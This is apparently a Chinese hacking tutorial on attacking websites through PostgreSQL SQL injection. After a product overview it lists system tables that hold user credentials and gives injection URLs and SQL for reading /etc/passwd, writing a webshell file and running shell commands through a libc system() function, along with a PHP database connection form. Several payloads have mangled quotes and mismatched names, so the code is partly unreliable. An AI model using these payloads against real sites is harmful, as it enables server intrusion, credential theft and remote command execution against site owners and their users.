黑客如何用postgresql注入黑掉網(wǎng)站
PostgreSQL是一個(gè)強(qiáng)大開源的關(guān)系數(shù)據(jù)庫(kù)系統(tǒng).它經(jīng)過了15年多的開發(fā)歷程,一個(gè)經(jīng)得起考驗(yàn)的體系結(jié)構(gòu),在可靠性、數(shù)據(jù)完整性和正確性方面贏得了極好的聲譽(yù).它運(yùn)行在所有主要的操作系統(tǒng)上,包括Linux、UNIX (AIX, BSD, HP-UX, SGI IRIX, Mac OS X, Solaris, Tru64)和Windows. 它是完全符合ACID原則,完全支持外鍵、聯(lián)合、視圖、觸發(fā)器和存儲(chǔ)過程(多種語(yǔ)言)。
它包含了SQL92和SQL99的大部分?jǐn)?shù)據(jù)類型,包括INTEGER,NUMERIC,BOOLEAN,CHAR,VARCHAR,DATE,INTERVAL和TIMESTAMP.它也支持存儲(chǔ)二進(jìn)制巨型對(duì)象,包括圖片、聲音和視頻.它有本地編程接口,C/C++、Java、.Net、Perl、Python、Ruby、Tcl、ODBC,其中還有特別的文檔.PostgreSQL以執(zhí)行標(biāo)準(zhǔn)為傲。
它強(qiáng)有力地實(shí)現(xiàn)了ANSI-SQL 92/99標(biāo)準(zhǔn).它充分支持子查詢(包括FROM子句的子選擇) 、提交讀(read-committed)、序列化事務(wù)隔離級(jí)別.雖然PostgreSQL有一個(gè)完全關(guān)系系統(tǒng)編目(catalog)它自己支持每數(shù)據(jù)庫(kù)多重綱要(schema),它的編目也可以通過SQL標(biāo)準(zhǔn)定義的綱要信息(Information Schema)來(lái)存取.數(shù)據(jù)完整性功能包括(復(fù)合)主鍵、限制和級(jí)聯(lián)更新/刪除的外鍵、CHECK約束、UNIQUE約束和非空約束.它也有許多擴(kuò)展和高級(jí)功能.其中有為了方便按順序自動(dòng)增加列值,LIMIT/OFFSET允許返回部分結(jié)果集.PostgreSQL支持符合、惟一、局部和函數(shù)索引,可以使用B-tree,R-tree,hash,或者GiST存儲(chǔ)方法中的任一個(gè)。
安裝
1.windows下:在官網(wǎng)(http://www.postgresql.org)下載windows下安裝包,目前最新版本是8.3的,這里需要注意下,安裝PostgreSQL時(shí)會(huì)在系統(tǒng)用戶中添加一個(gè)postgres用戶,而且在windows下的Postgresql密碼自帶有類似于安全策略的東西,設(shè)置密碼是需要復(fù)雜度和長(zhǎng)度的限制.安裝好后,需要配置系統(tǒng)環(huán)境變量,把../PostgreSQL/bin添加到系統(tǒng)環(huán)境變量,這樣的話,可以直接在cmd中執(zhí)行psql(類似于mysql在windows下的mysql.exe)。
2.*nix下安裝:可以到官網(wǎng)下載相應(yīng)的安裝包或者在線安裝,安裝過程不會(huì)出現(xiàn)設(shè)置密碼這個(gè)步驟,默認(rèn)密碼是空,使用psql的時(shí)候需要切換postgres用戶登錄就可以了。
基本語(yǔ)法
既然是數(shù)據(jù)庫(kù)當(dāng)然遵循SQL語(yǔ)言,create、insert、update等被稱為PL/PgSQL,但不是很明確,一個(gè)數(shù)據(jù)庫(kù)的語(yǔ)法太多了,只說下對(duì)小黑們有用的幾個(gè)語(yǔ)法。
1.注釋、結(jié)束標(biāo)記、連接符
a.PostgreSQL既然遵循SQL語(yǔ)言,當(dāng)然支持--注釋;
b.PostgreSQL支持/*和/**/注釋,這點(diǎn)類似于Mysql;
c.PostgreSQL數(shù)據(jù)庫(kù)使用psql的時(shí)候,需要在命令后加上;(分號(hào))或者是\g來(lái)表示語(yǔ)句已經(jīng)結(jié)束以執(zhí)行查詢.
d.PostgreSQL是采用||符號(hào)來(lái)連接字符串的,注意使用^,小心|被轉(zhuǎn)義。
2.自動(dòng)匹配
PostgreSQL不像Mysql能夠自動(dòng)匹配字段,這點(diǎn)類似于oracle,所以在注入的時(shí)候要注意下,而且默認(rèn)情況下是支持union查詢的;
3.連接PostgreSQL
默認(rèn)情況下是不給外連的,如果想遠(yuǎn)程管理PostgreSQL數(shù)據(jù)庫(kù)的話,需要修改../PostgreSQL/data/pg_bha.conf文件,請(qǐng)參考 PostgreSQL學(xué)習(xí)手冊(cè).PostgreSQL默認(rèn)用戶是postgres(類似于mysql的root),默認(rèn)端口是5432,默認(rèn)系統(tǒng)庫(kù)是postgres。
使用psql -h ip -d dataname -p port -U username,這里注意-U參數(shù)是大寫,如果是本機(jī)采用默認(rèn)安裝的話,直接使用psql -U postgres后會(huì)提示輸入密碼,正確輸入密碼后會(huì)出現(xiàn)postgres=#的字符(類似于mysql中的mysql>),就可以正常使用psql了。
\? 顯示pgsql命令的說明
\h 顯示sql命令的說明
\q 是退出
\l 是現(xiàn)實(shí)系統(tǒng)中所有的數(shù)據(jù)庫(kù)
4.pgAdmin III和phpPgAdmin
a.pgAdmin III是PostgreSQL中自帶的界面化數(shù)據(jù)庫(kù)管理程序,可以查詢PostgreSQL數(shù)據(jù)庫(kù)中所有域、函數(shù)、序列、數(shù)據(jù)表結(jié)構(gòu)及相關(guān)屬性、觸發(fā)器函數(shù)、視圖等。
b.phpPgAdmin看名字就知道類似mysql的phpMyAdmin,是使用php開發(fā)的網(wǎng)頁(yè)版數(shù)據(jù)庫(kù)管理程序,功能非常強(qiáng)大,使用過phpMyAdmin的朋友 都知道phpMyAdmin的強(qiáng)大,phpPgAdmin針對(duì)PostgreSQL數(shù)據(jù)庫(kù)一樣強(qiáng)大。
注入PostgreSQL
既然PostgreSQL是RDBMS,所以系統(tǒng)中所有數(shù)據(jù)庫(kù)的結(jié)構(gòu)會(huì)保存系統(tǒng)庫(kù)中,所以注入的時(shí)候就相對(duì)比較方便。由于注釋方式和mysql是一樣,如何判斷是什么數(shù)據(jù)庫(kù)?關(guān)于這點(diǎn)我也沒有一個(gè)標(biāo)準(zhǔn)的答案,我想可以掃描5432端口(如何web和庫(kù)沒有分離的情況下),使用version()函數(shù)的返回結(jié)果來(lái)判斷,直接使用查詢語(yǔ)句如select * from pg_class/select * from pg_group的返回結(jié)果來(lái)判斷數(shù)據(jù)庫(kù)類型.由于PostgreSQL的目錄頁(yè)存在information_schema,我手上也沒有PostgreSQL數(shù)據(jù)庫(kù)的注射點(diǎn),所以我也不知道能不能使用select schema_name from information_schema_schemata來(lái)判斷,不好意思,關(guān)于使用information_schema只是我的想法,有條件的朋友驗(yàn)證下。
介紹下PostgreSQL中內(nèi)置函數(shù)、表和視圖在入侵的應(yīng)用。
current_database() 當(dāng)前數(shù)據(jù)庫(kù)名字
session_user 會(huì)話用戶 |
current_user 目前執(zhí)行環(huán)境中的用戶名 |這三個(gè)函數(shù)調(diào)用時(shí)候不需要加()
user 和session_user一樣 |
inet_client_port() 遠(yuǎn)程端口
cast(sourcetype AS targettype) 定義類型轉(zhuǎn)換
current_setting() 以查詢形式獲取setting_name 設(shè)置的當(dāng)前值
convert() 編碼轉(zhuǎn)換
pg_stat_user_tables 存放系統(tǒng)所有表名的視圖,關(guān)鍵字段是relname,使用select relname from pg_stat_user_tables limit offset,1 來(lái)達(dá)到逐個(gè)讀取表名的目的
pg_stat_all_tables 和pg_stat_all_tables視圖功能一樣
pg_shadow 看到shadow大家是否想到/etc/shadow,此表包含數(shù)據(jù)庫(kù)用戶的信息,關(guān)鍵字段username、passwd和usesuper(超級(jí)用戶的意思),不過此表被做了權(quán)限設(shè)置
pg_user 這個(gè)表結(jié)構(gòu)和pg_shadow一樣,不過此表的全局可讀,passwd字段可能被清空或者加密
pg_group 定義組以及哪些用戶屬于哪個(gè)組的信息,關(guān)鍵字段groname
information_schema.columns 這個(gè)目錄對(duì)象中保存了所有的字段,關(guān)鍵字段是column_name,使用select column_name from information_columns where table_name=tablename limit offset,1這樣就可以達(dá)到讀取每個(gè)表名的字段
讀文件
首先需要建立一個(gè)表,然后copy文件內(nèi)容到表中,在讀取表內(nèi)容,思路是這樣的
create table read (line text);
copy read from '/etc/passwd';alter table read add id serial--
select * from read;
drop read;
思路就是這樣的,具體怎么使用就看大家自己發(fā)揮了(encode,^_^)
從PostgreSQL 8.2后加入了pg_file_read(text,text,bool)和pg_file_write(text,text,bool),看名字就應(yīng)該知道是干什么用的吧,大家自己去挖掘吧!
<?php
if(empty($_GET['action']))
{
?>
<form action="?action=connect" method=POST>
<table>
<tr><td>pghost:</td><td><input type="text" name="pghost" size="30" value="127.0.0.1"></td></tr>
<tr><td>pgport:</td><td><input type="text" name="pgport" size="30" value="5432" ></td></tr>
<tr><td>dbname:</td><td><input type="text" name="pgdbname" size="30" value="postgres"></td></tr>
<tr><td>username:</td><td><input type="text" name="pgusername" size="30" value="postgres"></td></tr>
<tr><td>password:</td><td><input type="text" name="pgpassword" size="30" value=""></td></tr>
<tr><td> </td><td><input type="submit" name="submit" value="connect"> <input type="reset" name="reset" value="reset"></td></tr>
</form>
<p>
<?php
exit;
}
if(!empty($_GET['action']))//連接postgresql
{
if(!empty($_POST['pghost']))
$_SESSION['pghost']=$_POST['pghost'];
if(!empty($_POST['pgport']))
$_SESSION['pgport']=$_POST['pgport'];
if(!empty($_POST['pgdbname']))
$_SESSION['pgdbname']=$_POST['pgdbname'];
if(!empty($_POST['pgusername']))
$_SESSION['pgusername']=$_POST['pgusername'];
if(!empty($_POST['pgpassword']))
$_SESSION['pgpassword']=$_POST['pgpassword'];
$dbconn_string = "host={$_SESSION['pghost']} port={$_SESSION['pgport']} dbname={$_SESSION['pgdbname']} user={$_SESSION['pgusername']} password={$_SESSION['pgpassword']}";
$dbconn=pg_connect($dbconn_string);
if(!$dbconn)
{
die('failed linking to the server,please check <a href="javascript:history.back()">reset</a>' );
}
else
echo '^_^ connected successfully and the status is '.pg_connection_status($dbconn).'<br><br>';
}
如何獲得webshell
http://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null);
http://127.0.0.1/postgresql.php?id=1;insert into fuck values($$$$);
http://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$;
如何讀文件
http://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT);
http://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’;
http://127.0.0.1/postgresql.php?id=1;select * from myfile;
執(zhí)行命令有兩種方式,一種是需要自定義的lic函數(shù)支持,一種是用pl/python支持的。
當(dāng)然,這些的postgresql的數(shù)據(jù)庫(kù)版本必須大于8.X。
創(chuàng)建一個(gè)system的函數(shù):
CREATE FUNCTION system(cstring) RETURNS int AS ’/lib/libc.so.6’, ’system’ LANGUAGE ’C’ STRICT
創(chuàng)建一個(gè)輸出表:
CREATE TABLE stdout(id serial, system_out text)
執(zhí)行shell,輸出到輸出表內(nèi):
SELECT system(’uname -a > /tmp/test’)
copy 輸出的內(nèi)容到表里面;
COPY stdout(system_out) FROM ’/tmp/test’
從輸出表內(nèi)讀取執(zhí)行后的回顯,判斷是否執(zhí)行成功
SELECT system_out FROM stdout
下面是測(cè)試?yán)?/P>
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- /store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS
’/lib/libc.so.6’,’system’ LANGUAGE ’C’STRICT --/store.php?id=1; SELECT system(’uname -a > /tmp/test’) --/store.php?id=1; COPY stdout(system_out) FROM ’/tmp/test’ --/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out
ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
【編輯推薦】